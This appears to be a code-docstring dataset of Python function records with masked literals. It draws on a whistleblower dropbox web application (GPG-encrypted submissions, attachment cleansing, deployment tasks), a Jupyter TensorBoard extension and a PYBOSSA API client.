{"signature": "@view_config(<EOL>route_name='<STR_LIT>',<EOL>request_method='<STR_LIT:POST>')<EOL>def dropbox_submission(dropbox, request):", "body": "try:<EOL><INDENT>data = dropbox_schema.deserialize(request.POST)<EOL><DEDENT>except Exception:<EOL><INDENT>return HTTPFound(location=request.route_url('<STR_LIT>'))<EOL><DEDENT>dropbox.message = data.get('<STR_LIT:message>')<EOL>if '<STR_LIT>' in dropbox.settings:<EOL><INDENT>dropbox.from_watchdog = is_equal(<EOL>unicode(dropbox.settings['<STR_LIT>']),<EOL>data.pop('<STR_LIT>', u'<STR_LIT>'))<EOL><DEDENT>if data.get('<STR_LIT>') is not None:<EOL><INDENT>dropbox.add_attachment(data['<STR_LIT>'])<EOL><DEDENT>dropbox.submit()<EOL>drop_url = request.route_url('<STR_LIT>', drop_id=dropbox.drop_id)<EOL>print(\"<STR_LIT>\" % drop_url)<EOL>return HTTPFound(location=drop_url)<EOL>", "docstring": "handles the form submission, redirects to the dropbox's status page.", "id": "f10069:m3"}
{"signature": "def sanitize_filename(filename):", "body": "<EOL>token = generate_drop_id()<EOL>name, extension = splitext(filename)<EOL>if extension:<EOL><INDENT>return '<STR_LIT>' % (token, extension)<EOL><DEDENT>else:<EOL><INDENT>return token<EOL><DEDENT>", "docstring": "preserve the file ending, but replace the name with a random token", "id": "f10070:m1"}
{"signature": "def get_dropbox(self, drop_id):", "body": "return Dropbox(self, drop_id=drop_id)<EOL>", "docstring": "returns the dropbox with the given id, if it does not exist an empty dropbox\n        will be created and returned", "id": "f10070:c0:m3"}
{"signature": "def __init__(self, container, drop_id, message=None, attachments=None, from_watchdog=False):", "body": "self.drop_id = drop_id<EOL>self.container = container<EOL>self.paths_created = []<EOL>self.send_attachments = False<EOL>self.fs_path = fs_dropbox_path = join(container.fs_path, drop_id)<EOL>self.fs_attachment_container = join(self.fs_path, '<STR_LIT>')<EOL>self.fs_cleansed_attachment_container = join(self.fs_path, '<STR_LIT>')<EOL>self.fs_replies_path = join(self.fs_path, '<STR_LIT>')<EOL>self.gpg_context = self.container.gpg_context<EOL>self.admins = self.settings['<STR_LIT>']<EOL>if not exists(fs_dropbox_path):<EOL><INDENT>mkdir(fs_dropbox_path)<EOL>chmod(fs_dropbox_path, <NUM_LIT>)<EOL>self.paths_created.append(fs_dropbox_path)<EOL>self.status = '<STR_LIT>'<EOL>self.editor_token = editor_token = generate_drop_id()<EOL>self._write_message(fs_dropbox_path, '<STR_LIT>', editor_token)<EOL>self.from_watchdog = from_watchdog<EOL><DEDENT>else:<EOL><INDENT>self.editor_token = open(join(self.fs_path, '<STR_LIT>')).readline()<EOL><DEDENT>if self.from_watchdog:<EOL><INDENT>self.editors = [self.settings['<STR_LIT>']]<EOL><DEDENT>else:<EOL><INDENT>self.editors = self.settings['<STR_LIT>']<EOL><DEDENT>if message is not None:<EOL><INDENT>self._write_message(fs_dropbox_path, '<STR_LIT:message>', message)<EOL><DEDENT>if attachments is not None:<EOL><INDENT>for attachment in attachments:<EOL><INDENT>if attachment is None:<EOL><INDENT>continue<EOL><DEDENT>self.add_attachment(attachment)<EOL><DEDENT><DEDENT>", "docstring": "the attachments are expected to conform to what the webob library uses for file uploads,\nnamely an instance of `cgi.FieldStorage` with the following attributes:\n    - a file handle under the key `file`\n    - the name of the file under `filename`", "id": "f10070:c1:m0"}
{"signature": "def process(self):", "body": "if self.num_attachments > <NUM_LIT:0>:<EOL><INDENT>self.status = '<STR_LIT>'<EOL>fs_dirty_archive = self._create_backup()<EOL>self._process_attachments()<EOL>if self.status_int < <NUM_LIT> and not self.send_attachments:<EOL><INDENT>self._create_archive()<EOL><DEDENT><DEDENT>if self.status_int >= <NUM_LIT> and self.status_int < <NUM_LIT>:<EOL><INDENT>if '<STR_LIT>' in self.settings:<EOL><INDENT>shutil.move(<EOL>fs_dirty_archive,<EOL>'<STR_LIT>' % (self.container.fs_archive_dirty, self.drop_id))<EOL>self.status = '<STR_LIT>'<EOL><DEDENT><DEDENT>if self.status_int == <NUM_LIT>:<EOL><INDENT>if '<STR_LIT>' in self.settings:<EOL><INDENT>shutil.move(<EOL>fs_dirty_archive,<EOL>'<STR_LIT>' % (self.container.fs_archive_dirty, self.drop_id))<EOL><DEDENT><DEDENT>if self.status_int < <NUM_LIT> or self.status_int == <NUM_LIT>:<EOL><INDENT>try:<EOL><INDENT>if self._notify_editors() > <NUM_LIT:0>:<EOL><INDENT>if self.status_int < <NUM_LIT>:<EOL><INDENT>self.status = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.status = '<STR_LIT>'<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>import traceback<EOL>tb = traceback.format_exc()<EOL>self.status = '<STR_LIT>' % tb<EOL><DEDENT><DEDENT>self.cleanup()<EOL>return self.status<EOL>", "docstring": "Calls the external cleanser scripts to (optionally) purge the meta data and then\n            send the contents of the dropbox via email.", "id": "f10070:c1:m3"}
{"signature": "def cleanup(self):", "body": "try:<EOL><INDENT>remove(join(self.fs_path, '<STR_LIT:message>'))<EOL>remove(join(self.fs_path, '<STR_LIT>'))<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT>shutil.rmtree(join(self.fs_path, '<STR_LIT>'), ignore_errors=True)<EOL>shutil.rmtree(join(self.fs_path, '<STR_LIT>'), ignore_errors=True)<EOL>", "docstring": "ensures that no data leaks from drop after processing by\n        removing all data except the status file", "id": "f10070:c1:m4"}
{"signature": "def add_reply(self, reply):", "body": "self._write_message(self.fs_replies_path, '<STR_LIT>', dumps(reply))<EOL>", "docstring": "Add an editorial reply to the drop box.\n\n            :param reply: the message, must conform to  :class:`views.DropboxReplySchema`", "id": "f10070:c1:m5"}
{"signature": "def _create_encrypted_zip(self, source='<STR_LIT>', fs_target_dir=None):", "body": "backup_recipients = [r for r in self.editors if checkRecipient(self.gpg_context, r)]<EOL>if not backup_recipients:<EOL><INDENT>self.status = '<STR_LIT>'<EOL>return self.status<EOL><DEDENT>fs_backup = join(self.fs_path, '<STR_LIT>' % source)<EOL>if fs_target_dir is None:<EOL><INDENT>fs_backup_pgp = join(self.fs_path, '<STR_LIT>' % source)<EOL><DEDENT>else:<EOL><INDENT>fs_backup_pgp = join(fs_target_dir, '<STR_LIT>' % self.drop_id)<EOL><DEDENT>fs_source = dict(<EOL>dirty=self.fs_dirty_attachments,<EOL>clean=self.fs_cleansed_attachments<EOL>)<EOL>with ZipFile(fs_backup, '<STR_LIT:w>', ZIP_STORED) as backup:<EOL><INDENT>if exists(join(self.fs_path, '<STR_LIT:message>')):<EOL><INDENT>backup.write(join(self.fs_path, '<STR_LIT:message>'), arcname='<STR_LIT:message>')<EOL><DEDENT>for fs_attachment in fs_source[source]:<EOL><INDENT>backup.write(fs_attachment, arcname=split(fs_attachment)[-<NUM_LIT:1>])<EOL><DEDENT><DEDENT>with open(fs_backup, \"<STR_LIT:rb>\") as backup:<EOL><INDENT>self.gpg_context.encrypt_file(<EOL>backup,<EOL>backup_recipients,<EOL>always_trust=True,<EOL>output=fs_backup_pgp<EOL>)<EOL><DEDENT>remove(fs_backup)<EOL>return fs_backup_pgp<EOL>", "docstring": "creates a zip file from the drop and encrypts it to the editors.\n        the encrypted archive is created inside fs_target_dir", "id": "f10070:c1:m6"}
{"signature": "def _create_archive(self):", "body": "self.status = '<STR_LIT>'<EOL>return self._create_encrypted_zip(source='<STR_LIT>', fs_target_dir=self.container.fs_archive_cleansed)<EOL>", "docstring": "creates an encrypted archive of the dropbox outside of the drop directory.", "id": "f10070:c1:m9"}
{"signature": "@property<EOL><INDENT>def num_attachments(self):<DEDENT>", "body": "if exists(self.fs_attachment_container):<EOL><INDENT>return len(listdir(self.fs_attachment_container))<EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "returns the current number of uploaded attachments in the filesystem", "id": "f10070:c1:m11"}
{"signature": "@property<EOL><INDENT>def size_attachments(self):<DEDENT>", "body": "total_size = <NUM_LIT:0><EOL>for attachment in self.fs_cleansed_attachments:<EOL><INDENT>total_size += stat(attachment).st_size<EOL><DEDENT>return total_size<EOL>", "docstring": "returns the number of bytes that the cleansed attachments take up on disk", "id": "f10070:c1:m12"}
{"signature": "@property<EOL><INDENT>def replies(self):<DEDENT>", "body": "fs_reply_path = join(self.fs_replies_path, '<STR_LIT>')<EOL>if exists(fs_reply_path):<EOL><INDENT>return [load(open(fs_reply_path, '<STR_LIT:r>'))]<EOL><DEDENT>else:<EOL><INDENT>return []<EOL><DEDENT>", "docstring": "returns a list of strings", "id": "f10070:c1:m13"}
{"signature": "@property<EOL><INDENT>def message(self):<DEDENT>", "body": "try:<EOL><INDENT>with open(join(self.fs_path, '<STR_LIT:message>')) as message_file:<EOL><INDENT>return '<STR_LIT>'.join([line.decode('<STR_LIT:utf-8>') for line in message_file.readlines()])<EOL><DEDENT><DEDENT>except IOError:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "returns the user submitted text", "id": "f10070:c1:m14"}
{"signature": "@message.setter<EOL><INDENT>def message(self, newtext):<DEDENT>", "body": "self._write_message(self.fs_path, '<STR_LIT:message>', newtext)<EOL>", "docstring": "overwrite the message text. this also updates the corresponding file.", "id": "f10070:c1:m15"}
{"signature": "@property<EOL><INDENT>def status_int(self):<DEDENT>", "body": "return int(self.status.split()[<NUM_LIT:0>])<EOL>", "docstring": "returns the status as integer, so it can be used in comparisons", "id": "f10070:c1:m19"}
{"signature": "@property<EOL><INDENT>def fs_dirty_attachments(self):<DEDENT>", "body": "if exists(self.fs_attachment_container):<EOL><INDENT>return [join(self.fs_attachment_container, attachment)<EOL>for attachment in listdir(self.fs_attachment_container)]<EOL><DEDENT>else:<EOL><INDENT>return []<EOL><DEDENT>", "docstring": "returns a list of absolute paths to the attachements", "id": "f10070:c1:m24"}
{"signature": "@property<EOL><INDENT>def fs_cleansed_attachments(self):<DEDENT>", "body": "if exists(self.fs_cleansed_attachment_container):<EOL><INDENT>return [join(self.fs_cleansed_attachment_container, attachment)<EOL>for attachment in listdir(self.fs_cleansed_attachment_container)]<EOL><DEDENT>else:<EOL><INDENT>return []<EOL><DEDENT>", "docstring": "returns a list of absolute paths to the cleansed attachements", "id": "f10070:c1:m25"}
{"signature": "@fixture()<EOL>def config(request, settings):", "body": "config = setUp(settings=settings)<EOL>request.addfinalizer(tearDown)<EOL>return config<EOL>", "docstring": "Sets up a Pyramid `Configurator` instance suitable for testing.", "id": "f10071:m4"}
{"signature": "@fixture<EOL>def app(config):", "body": "from . import configure<EOL>return configure({}, **config.registry.settings).make_wsgi_app()<EOL>", "docstring": "Returns WSGI application wrapped in WebTest's testing interface.", "id": "f10071:m5"}
{"signature": "def setup_smtp_factory(**settings):", "body": "return CustomSMTP(<EOL>host=settings.get('<STR_LIT>', '<STR_LIT:localhost>'),<EOL>port=int(settings.get('<STR_LIT>', <NUM_LIT>)),<EOL>user=settings.get('<STR_LIT>'),<EOL>password=settings.get('<STR_LIT>'),<EOL>timeout=float(settings.get('<STR_LIT>', <NUM_LIT>)),<EOL>)<EOL>", "docstring": "expects a dictionary with 'mail.' keys to create an appropriate smtplib.SMTP instance", "id": "f10072:m0"}
{"signature": "def sendMultiPart(smtp, gpg_context, sender, recipients, subject, text, attachments):", "body": "sent = <NUM_LIT:0><EOL>for to in recipients:<EOL><INDENT>if not to.startswith('<STR_LIT:<>'):<EOL><INDENT>uid = '<STR_LIT>' % to<EOL><DEDENT>else:<EOL><INDENT>uid = to<EOL><DEDENT>if not checkRecipient(gpg_context, uid):<EOL><INDENT>continue<EOL><DEDENT>msg = MIMEMultipart()<EOL>msg['<STR_LIT>'] = sender<EOL>msg['<STR_LIT>'] = to<EOL>msg['<STR_LIT>'] = subject<EOL>msg[\"<STR_LIT>\"] = formatdate(localtime=True)<EOL>msg.preamble = u'<STR_LIT>'<EOL>attach = MIMEText(str(gpg_context.encrypt(text.encode('<STR_LIT:utf-8>'), uid, always_trust=True)))<EOL>attach.set_charset('<STR_LIT>')<EOL>msg.attach(attach)<EOL>for attachment in attachments:<EOL><INDENT>with open(attachment, '<STR_LIT:rb>') as fp:<EOL><INDENT>attach = MIMEBase('<STR_LIT>', '<STR_LIT>')<EOL>attach.set_payload(str(gpg_context.encrypt_file(fp, uid, always_trust=True)))<EOL><DEDENT>attach.add_header('<STR_LIT>', '<STR_LIT>', filename=basename('<STR_LIT>' % attachment))<EOL>msg.attach(attach)<EOL><DEDENT>smtp.begin()<EOL>smtp.sendmail(sender, to, msg.as_string())<EOL>smtp.quit()<EOL>sent += <NUM_LIT:1><EOL><DEDENT>return sent<EOL>", "docstring": "a helper method that composes and sends an email with attachments\n    requires a pre-configured smtplib.SMTP instance", "id": "f10072:m2"}
{"signature": "def begin(self):", "body": "self.connect(self.host, self.port)<EOL>if self.user:<EOL><INDENT>self.starttls()<EOL>self.login(self.user, self.password)<EOL><DEDENT>", "docstring": "connects and optionally authenticates a connection.", "id": "f10072:c0:m1"}
{"signature": "def generate_post_token(secret):", "body": "return URLSafeTimedSerializer(secret, salt=u'<STR_LIT>').dumps(generate_drop_id())<EOL>", "docstring": "returns a URL safe, signed token that contains a UUID", "id": "f10073:m0"}
{"signature": "def dropbox_post_factory(request):", "body": "try:<EOL><INDENT>max_age = int(request.registry.settings.get('<STR_LIT>'))<EOL><DEDENT>except Exception:<EOL><INDENT>max_age = <NUM_LIT><EOL><DEDENT>try:<EOL><INDENT>drop_id = parse_post_token(<EOL>token=request.matchdict['<STR_LIT>'],<EOL>secret=request.registry.settings['<STR_LIT>'],<EOL>max_age=max_age)<EOL><DEDENT>except SignatureExpired:<EOL><INDENT>raise HTTPGone('<STR_LIT>')<EOL><DEDENT>except Exception:  <EOL><INDENT>raise HTTPNotFound('<STR_LIT>')<EOL><DEDENT>dropbox = request.registry.settings['<STR_LIT>'].get_dropbox(drop_id)<EOL>if dropbox.status_int >= <NUM_LIT:20>:<EOL><INDENT>raise HTTPGone('<STR_LIT>')<EOL><DEDENT>return dropbox<EOL>", "docstring": "receives a UUID via the request and returns either a fresh or an existing dropbox\n    for it", "id": "f10073:m2"}
{"signature": "def dropbox_factory(request):", "body": "try:<EOL><INDENT>return request.registry.settings['<STR_LIT>'].get_dropbox(request.matchdict['<STR_LIT>'])<EOL><DEDENT>except KeyError:<EOL><INDENT>raise HTTPNotFound('<STR_LIT>')<EOL><DEDENT>", "docstring": "expects the id of an existing dropbox and returns its instance", "id": "f10073:m3"}
{"signature": "def is_equal(a, b):", "body": "if len(a) != len(b):<EOL><INDENT>return False<EOL><DEDENT>result = <NUM_LIT:0><EOL>for x, y in zip(a, b):<EOL><INDENT>result |= ord(x) ^ ord(y)<EOL><DEDENT>return result == <NUM_LIT:0><EOL>", "docstring": "a constant time comparison implementation taken from\n        http://codahale.com/a-lesson-in-timing-attacks/ and\n        Django's `util` module https://github.com/django/django/blob/master/django/utils/crypto.py#L82", "id": "f10073:m4"}
{"signature": "def dropbox_editor_factory(request):", "body": "dropbox = dropbox_factory(request)<EOL>if is_equal(dropbox.editor_token, request.matchdict['<STR_LIT>'].encode('<STR_LIT:utf-8>')):<EOL><INDENT>return dropbox<EOL><DEDENT>else:<EOL><INDENT>raise HTTPNotFound('<STR_LIT>')<EOL><DEDENT>", "docstring": "this factory also requires the editor token", "id": "f10073:m5"}
{"signature": "def german_locale(request):", "body": "return '<STR_LIT>'<EOL>", "docstring": "a 'negotiator' that always returns german", "id": "f10073:m6"}
{"signature": "def main(global_config, **settings):", "body": "return configure(global_config, **settings).make_wsgi_app()<EOL>", "docstring": "Configure and create the main application.", "id": "f10073:m8"}
{"signature": "@fab.task<EOL>def download_poudriere_assets():", "body": "download_distfiles()<EOL>download_packages()<EOL>", "docstring": "download ports tree, distfiles, and packages from poudriere", "id": "f10074:m6"}
{"signature": "@fab.task<EOL>def upload_poudriere_assets():", "body": "upload_distfiles()<EOL>upload_packages()<EOL>", "docstring": "upload local ports tree, distfiles, and packages from poudriere", "id": "f10074:m7"}
{"signature": "@task<EOL>def upload_theme():", "body": "get_vars()<EOL>with fab.settings():<EOL><INDENT>local_theme_path = path.abspath(<EOL>path.join(fab.env['<STR_LIT>'],<EOL>fab.env.instance.config['<STR_LIT>']))<EOL>rsync(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' % local_theme_path,<EOL>'<STR_LIT>'.format(**AV)<EOL>)<EOL>briefkasten_ctl('<STR_LIT>')<EOL><DEDENT>", "docstring": "upload and/or update the theme with the current git state", "id": "f10075:m1"}
{"signature": "@task<EOL>def upload_pgp_keys():", "body": "get_vars()<EOL>upload_target = '<STR_LIT>'<EOL>with fab.settings(fab.hide('<STR_LIT>')):<EOL><INDENT>fab.run('<STR_LIT>' % upload_target)<EOL>fab.run('<STR_LIT>' % upload_target)<EOL>local_key_path = path.join(fab.env['<STR_LIT>'], fab.env.instance.config['<STR_LIT>'])<EOL>remote_key_path = '<STR_LIT>'.format(**AV)<EOL>rsync('<STR_LIT>', local_key_path, '<STR_LIT>' % upload_target)<EOL>fab.run('<STR_LIT>' % (AV['<STR_LIT>'], remote_key_path))<EOL>fab.run('<STR_LIT>' % remote_key_path)<EOL>with fab.shell_env(GNUPGHOME=remote_key_path):<EOL><INDENT>fab.sudo('''<STR_LIT>''' % upload_target,<EOL>user=AV['<STR_LIT>'], shell_escape=False)<EOL><DEDENT>fab.run('<STR_LIT>' % upload_target)<EOL><DEDENT>", "docstring": "upload and/or update the PGP keys for editors, import them into PGP", "id": "f10075:m2"}
{"signature": "@task<EOL>def upload_backend(index='<STR_LIT>', user=None):", "body": "get_vars()<EOL>use_devpi(index=index)<EOL>with fab.lcd('<STR_LIT>'):<EOL><INDENT>fab.local('<STR_LIT>')<EOL><DEDENT>", "docstring": "Build the backend and upload it to the remote server at the given index", "id": "f10075:m3"}
{"signature": "@task<EOL>def update_backend(use_pypi=False, index='<STR_LIT>', build=True, user=None, version=None):", "body": "get_vars()<EOL>if value_asbool(build):<EOL><INDENT>upload_backend(index=index, user=user)<EOL><DEDENT>with fab.cd('<STR_LIT>'.format(**AV)):<EOL><INDENT>if value_asbool(use_pypi):<EOL><INDENT>command = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>command = '<STR_LIT>'.format(<EOL>index=index,<EOL>user=user,<EOL>**AV)<EOL><DEDENT>if version:<EOL><INDENT>command = '<STR_LIT>' % (command, version)<EOL><DEDENT>fab.sudo(command)<EOL><DEDENT>briefkasten_ctl('<STR_LIT>')<EOL>", "docstring": "Install the backend from the given devpi index at the given version on the target host and restart the service.\n\nIf version is None, it defaults to the latest version\n\nOptionally, build and upload the application first from local sources. This requires a\nfull backend development environment on the machine running this command (pyramid etc.)", "id": "f10075:m5"}
{"signature": "@task<EOL>def reset_cleansers(confirm=True):", "body": "if value_asbool(confirm) and not yesno(\"\"\"<STR_LIT>\"\"\"):<EOL><INDENT>exit(\"<STR_LIT>\")<EOL><DEDENT>get_vars()<EOL>cleanser_count = AV['<STR_LIT>']<EOL>fab.run('<STR_LIT>')<EOL>for cleanser_index in range(cleanser_count):<EOL><INDENT>cindex = '<STR_LIT>'.format(cleanser_index + <NUM_LIT:1>)<EOL>fab.run('<STR_LIT>'.format(cindex=cindex))<EOL>with fab.warn_only():<EOL><INDENT>fab.run('<STR_LIT>'.format(cindex=cindex))<EOL>fab.run('<STR_LIT>'.format(cindex=cindex))<EOL>fab.run('<STR_LIT>'.format(cindex=cindex))<EOL>fab.run('<STR_LIT>'.format(cindex=cindex))<EOL><DEDENT><DEDENT>with fab.warn_only():<EOL><INDENT>fab.run('<STR_LIT>')<EOL>fab.run('<STR_LIT>')<EOL>fab.run('<STR_LIT>')<EOL>fab.run('<STR_LIT>')<EOL><DEDENT>", "docstring": "destroys all cleanser slaves and their rollback snapshots, as well as the initial master\n    snapshot - this allows re-running the jailhost deployment to recreate fresh cleansers.", "id": "f10077:m2"}
{"signature": "@task<EOL>def reset_jails(confirm=True, keep_cleanser_master=True):", "body": "if value_asbool(confirm) and not yesno(\"\"\"<STR_LIT>\"\"\"):<EOL><INDENT>exit(\"<STR_LIT>\")<EOL><DEDENT>reset_cleansers(confirm=False)<EOL>jails = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>if not value_asbool(keep_cleanser_master):<EOL><INDENT>jails.append('<STR_LIT>')<EOL><DEDENT>with fab.warn_only():<EOL><INDENT>for jail in jails:<EOL><INDENT>fab.run('<STR_LIT>'.format(jail=jail))<EOL><DEDENT>fab.run('<STR_LIT>')<EOL><DEDENT>", "docstring": "stops, deletes and re-creates all jails.\n    since the cleanser master is rather large, that one is omitted by default.", "id": "f10077:m3"}
{"signature": "def parse_command_line(self, argv=None):", "body": "conflicting_flags = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>if len(conflicting_flags.intersection(set(argv))) > <NUM_LIT:1>:<EOL><INDENT>raise serverextensions.ArgumentConflict(<EOL>'<STR_LIT>')<EOL><DEDENT>return super(ToggleJupyterTensorboardApp,<EOL>self).parse_command_line(argv)<EOL>", "docstring": "Overriden to check for conflicting flags\nSince notebook version doesn't do it well (or, indeed, at all)", "id": "f10083:c0:m0"}
{"signature": "def start(self):", "body": "if self.extra_args:<EOL><INDENT>sys.exit('<STR_LIT>'.format(self.name))<EOL><DEDENT>else:<EOL><INDENT>if self._toggle_value:<EOL><INDENT>nbextensions.install_nbextension_python(<EOL>_pkg_name, overwrite=True, symlink=False,<EOL>user=self.user, sys_prefix=self.sys_prefix, prefix=None,<EOL>nbextensions_dir=None, logger=None)<EOL><DEDENT>else:<EOL><INDENT>nbextensions.uninstall_nbextension_python(<EOL>_pkg_name, user=self.user, sys_prefix=self.sys_prefix,<EOL>prefix=None, nbextensions_dir=None, logger=None)<EOL><DEDENT>self.toggle_nbextension_python(_pkg_name)<EOL>self.toggle_server_extension_python(_pkg_name)<EOL><DEDENT>", "docstring": "Perform the App's actions as configured.", "id": "f10083:c0:m3"}
{"signature": "def start(self):", "body": "super(JupyterTensorboardApp, self).start()<EOL>subcmds = \"<STR_LIT:U+002CU+0020>\".join(sorted(self.subcommands))<EOL>sys.exit(\"<STR_LIT>\" % subcmds)<EOL>", "docstring": "Perform the App's actions as configured", "id": "f10083:c3:m0"}
{"signature": "def set(key, val):", "body": "global _opts<EOL>_opts[key] = val<EOL>", "docstring": "Set key to value.", "id": "f10088:m0"}
{"signature": "def _pybossa_req(method, domain, id=None, payload=None, params={},<EOL>headers={'<STR_LIT>': '<STR_LIT:application/json>'},<EOL>files=None):", "body": "url = _opts['<STR_LIT>'] + '<STR_LIT>' + domain<EOL>if id is not None:<EOL><INDENT>url += '<STR_LIT:/>' + str(id)<EOL><DEDENT>if '<STR_LIT>' in _opts:<EOL><INDENT>params['<STR_LIT>'] = _opts['<STR_LIT>']<EOL><DEDENT>if method == '<STR_LIT>':<EOL><INDENT>r = requests.get(url, params=params)<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>if files is None and headers['<STR_LIT>'] == '<STR_LIT:application/json>':<EOL><INDENT>r = requests.post(url, params=params, headers=headers,<EOL>data=json.dumps(payload))<EOL><DEDENT>else:<EOL><INDENT>r = requests.post(url, params=params, files=files, data=payload)<EOL><DEDENT><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>r = requests.put(url, params=params, headers=headers,<EOL>data=json.dumps(payload))<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>r = requests.delete(url, params=params, headers=headers,<EOL>data=json.dumps(payload))<EOL><DEDENT>if r.status_code // <NUM_LIT:100> == <NUM_LIT:2>:<EOL><INDENT>if r.text and r.text != '<STR_LIT>':<EOL><INDENT>return json.loads(r.text)<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return json.loads(r.text)<EOL><DEDENT>", "docstring": "Send a JSON request.\n\nReturns True if everything went well, otherwise it returns the status\ncode of the response.", "id": "f10088:m1"}
{"signature": "def get_projects(limit=<NUM_LIT:100>, offset=<NUM_LIT:0>, last_id=None):", "body": "if last_id is not None:<EOL><INDENT>params = dict(limit=limit, last_id=last_id)<EOL><DEDENT>else:<EOL><INDENT>print(OFFSET_WARNING)<EOL>params = dict(limit=limit, offset=offset)<EOL><DEDENT>try:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT>',<EOL>params=params)<EOL>if type(res).__name__ == '<STR_LIT:list>':<EOL><INDENT>return [Project(project) for project in res]<EOL><DEDENT>else:<EOL><INDENT>raise TypeError<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Return a list of registered projects.\n\n    :param limit: Number of returned items, default 100\n    :type limit: integer\n    :param offset: Offset for the query, default 0\n    :type offset: integer\n    :param last_id: id of the last project, used for pagination. If provided, offset is ignored\n    :type last_id: integer\n    :rtype: list\n    :returns: A list of PYBOSSA Projects", "id": "f10088:m2"}
{"signature": "def get_project(project_id):", "body": "try:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', project_id)<EOL>if res.get('<STR_LIT:id>'):<EOL><INDENT>return Project(res)<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Return a PYBOSSA Project for the project_id.\n\n    :param project_id: PYBOSSA Project ID\n    :type project_id: integer\n    :rtype: PYBOSSA Project\n    :returns: A PYBOSSA Project object", "id": "f10088:m3"}
{"signature": "def find_project(**kwargs):", "body": "try:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', params=kwargs)<EOL>if type(res).__name__ == '<STR_LIT:list>':<EOL><INDENT>return [Project(project) for project in res]<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Return a list with matching project arguments.\n\n    :param kwargs: PYBOSSA Project members\n    :rtype: list\n    :returns: A list of projects that match the kwargs", "id": "f10088:m4"}
{"signature": "def create_project(name, short_name, description):", "body": "try:<EOL><INDENT>project = dict(name=name, short_name=short_name,<EOL>description=description)<EOL>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', payload=project)<EOL>if res.get('<STR_LIT:id>'):<EOL><INDENT>return Project(res)<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Create a project.\n\n    :param name: PYBOSSA Project Name\n    :type name: string\n    :param short_name: PYBOSSA Project short name or slug\n    :type short_name: string\n    :param description: PYBOSSA Project description\n    :type decription: string\n    :returns: True -- the response status code", "id": "f10088:m5"}
{"signature": "def update_project(project):", "body": "try:<EOL><INDENT>project_id = project.id<EOL>project = _forbidden_attributes(project)<EOL>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', project_id, payload=project.data)<EOL>if res.get('<STR_LIT:id>'):<EOL><INDENT>return Project(res)<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Update a project instance.\n\n    :param project: PYBOSSA project\n    :type project: PYBOSSA Project\n    :returns: True -- the response status code", "id": "f10088:m6"}
{"signature": "def delete_project(project_id):", "body": "try:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', project_id)<EOL>if type(res).__name__ == '<STR_LIT:bool>':<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Delete a Project with id = project_id.\n\n    :param project_id: PYBOSSA Project ID\n    :type project_id: integer\n    :returns: True -- the response status code", "id": "f10088:m7"}
{"signature": "def get_categories(limit=<NUM_LIT:20>, offset=<NUM_LIT:0>, last_id=None):", "body": "if last_id is not None:<EOL><INDENT>params = dict(limit=limit, last_id=last_id)<EOL><DEDENT>else:<EOL><INDENT>params = dict(limit=limit, offset=offset)<EOL>print(OFFSET_WARNING)<EOL><DEDENT>try:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT>',<EOL>params=params)<EOL>if type(res).__name__ == '<STR_LIT:list>':<EOL><INDENT>return [Category(category) for category in res]<EOL><DEDENT>else:<EOL><INDENT>raise TypeError<EOL><DEDENT><DEDENT>except:<EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Return a list of registered categories.\n\n    :param limit: Number of returned items, default 20\n    :type limit: integer\n    :param offset: Offset for the query, default 0\n    :type offset: integer\n    :param last_id: id of the last category, used for pagination. If provided, offset is ignored\n    :type last_id: integer\n    :rtype: list\n    :returns: A list of PYBOSSA Categories", "id": "f10088:m8"}
{"signature": "def get_category(category_id):", "body": "try:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', category_id)<EOL>if res.get('<STR_LIT:id>'):<EOL><INDENT>return Category(res)<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Return a PYBOSSA Category for the category_id.\n\n    :param category_id: PYBOSSA Category ID\n    :type category_id: integer\n    :rtype: PYBOSSA Category\n    :returns: A PYBOSSA Category object", "id": "f10088:m9"}
